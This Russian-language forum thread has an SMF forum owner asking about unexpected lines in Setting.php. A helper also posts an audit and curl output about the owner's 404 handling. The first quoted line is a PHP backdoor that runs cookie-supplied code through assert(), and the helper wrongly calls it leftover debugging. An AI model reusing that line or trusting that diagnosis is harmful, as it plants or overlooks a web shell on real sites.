Странные строчки в файле Setting.php

Автор Солярис, 14 сентября 2012, 10:59:19

« назад - далее »

0 Пользователи и 1 гость просматривают эту тему.

Солярис

Приветствую всех участников форума!

Обнаружил в файле Setting.php следующие строчки:
[at]array_map('assert', [at]explode("|", [at]stripslashes([at]$_COOKIE['ids'])));
$maintenance = 0; # Set to 1 to enable Maintenance Mode, 2 to make the forum untouchable. (you'll have to make it 0 again manually!)
$mtitle = 'Форум на техническом обслуживании!'; # Title for the Maintenance Mode message.
$mmessage = 'Приносим извинения за временные неудобства.'; # Description of why the forum is in maintenance mode.
[at]SetCookie("rambler_sl","870116",[at]time()+172800);


В частности, интересуют строчки под номером 1 и 5.

Заранее спасибо за помощь.

maestrosite.ru

#1
Скорее всего когда-то проводили отладку, и не зачистили хвосты. Как давно файл изменён был?

upd и вам бы чуток ошибки исправить:
$ auditor yuristyonline.ru
----------------------------------------------------------------
Requested: yuristyonline.ru
real=http://yuristyonline.ru/=real
1) 301 'http://www.yuristyonline.ru/' (http://yuristyonline.ru/)
2) 200 'http://www.yuristyonline.ru/' (http://www.yuristyonline.ru/)
autostart
Audit report (mode: fast)
Target URL: http://www.yuristyonline.ru/ (http://www.yuristyonline.ru/)
robots.txt:
ok
Sitemaps:
200 http://www.yuristyonline.ru/index.php?action=sitemap;xml - ok
Favicon:
ok
Invalid URL:
302 http://www.yuristyonline.ru/---real-invalid.url - is not "Page not found"
Markup:
Error: Errors found: 212

Contact e-mail:
auditor@maestrosite.ru
----------------------------------------------------------------


то есть вёрстка, 404-я страница, да и robots.txt у вас суров...
Если задаются вопросы по вашей проблеме, значит это нужно вам!
---
Обновления форума, разрешение конфликтов, адаптация модов, исправление ошибок - ваши предложения о сотрудничестве направляйте по адресу smf@maestrosite.ru

Солярис

Спасибо за то, что откликнулись. Сегодня был изменен. Изменен из-за ошибки соединения с базой. По-моему, когда идет ошибка обращения к базе, в этом файле она и прописывается.

Вот я поэтому и хочу понять. Должны быть там эти строчки (по определению) или нет?

Поясните, пожалуйста, о чем это информация:
nvalid URL:
302 http://www.yuristyonline.ru/---real-invalid.url - is not "Page not found"
Markup:
Error: Errors found: 212

Какая страница не найдена?

maestrosite.ru

Ошибки пишутся в логи. Settings.txt вообще стоит сделать не редактируемым. В резервной копии какая дата изменения стоит?

Несуществующие страницы вместо 404 выдают перенаправление - 302. Ошибки разметки - количество для главной.
Если задаются вопросы по вашей проблеме, значит это нужно вам!
---
Обновления форума, разрешение конфликтов, адаптация модов, исправление ошибок - ваши предложения о сотрудничестве направляйте по адресу smf@maestrosite.ru

Солярис

Так и не понял, должны быть в указанном файле приведенные строчки 1 и 5?!

Также не понял, про какое перенаправление Вы ведете речь? Я только что создал адрес с несуществующей странице, мне была показана страница с ошибкой 404.

maestrosite.ru

Первая не нужна. Пятая - возможно, для какого-то шустрого мода, но скорее всего тоже отладка. Для собственно форума не нужна.

Несуществующие страницы не отвечают кодом 404, а перенаправляют (302) на обычную страницу (200).
То есть технически на вашем форуме нет такого "несуществующая страница"
Если задаются вопросы по вашей проблеме, значит это нужно вам!
---
Обновления форума, разрешение конфликтов, адаптация модов, исправление ошибок - ваши предложения о сотрудничестве направляйте по адресу smf@maestrosite.ru

Солярис

Цитата: maestrosite.ru от 14 сентября 2012, 16:47:03Несуществующие страницы не отвечают кодом 404, а перенаправляют (302) на обычную страницу (200).
То есть? У меня почему-то не перенаправляют, а у Вас перенаправляют. Приведите, пожалуйста, пример.

maestrosite.ru

$ curl --head -L http://www.yuristyonline.ru/invalid.url
HTTP/1.1 302 Found
Server: nginx/1.1.0
Date: Fri, 14 Sep 2012 13:26:33 GMT
Content-Type: text/html; charset=iso-8859-1
Connection: keep-alive
Keep-Alive: timeout=30
Location: http://www.yuristyonline.ru/err404.html

HTTP/1.1 200 OK
Server: nginx/1.1.0
Date: Fri, 14 Sep 2012 13:26:38 GMT
Content-Type: text/html; charset=windows-1251
Connection: keep-alive
Keep-Alive: timeout=30
Vary: Accept-Encoding
Last-Modified: Sat, 12 Dec 2009 04:04:47 GMT
ETag: "824dc-30d-47a80241b15c0"
Accept-Ranges: bytes
Content-Length: 781

Если задаются вопросы по вашей проблеме, значит это нужно вам!
---
Обновления форума, разрешение конфликтов, адаптация модов, исправление ошибок - ваши предложения о сотрудничестве направляйте по адресу smf@maestrosite.ru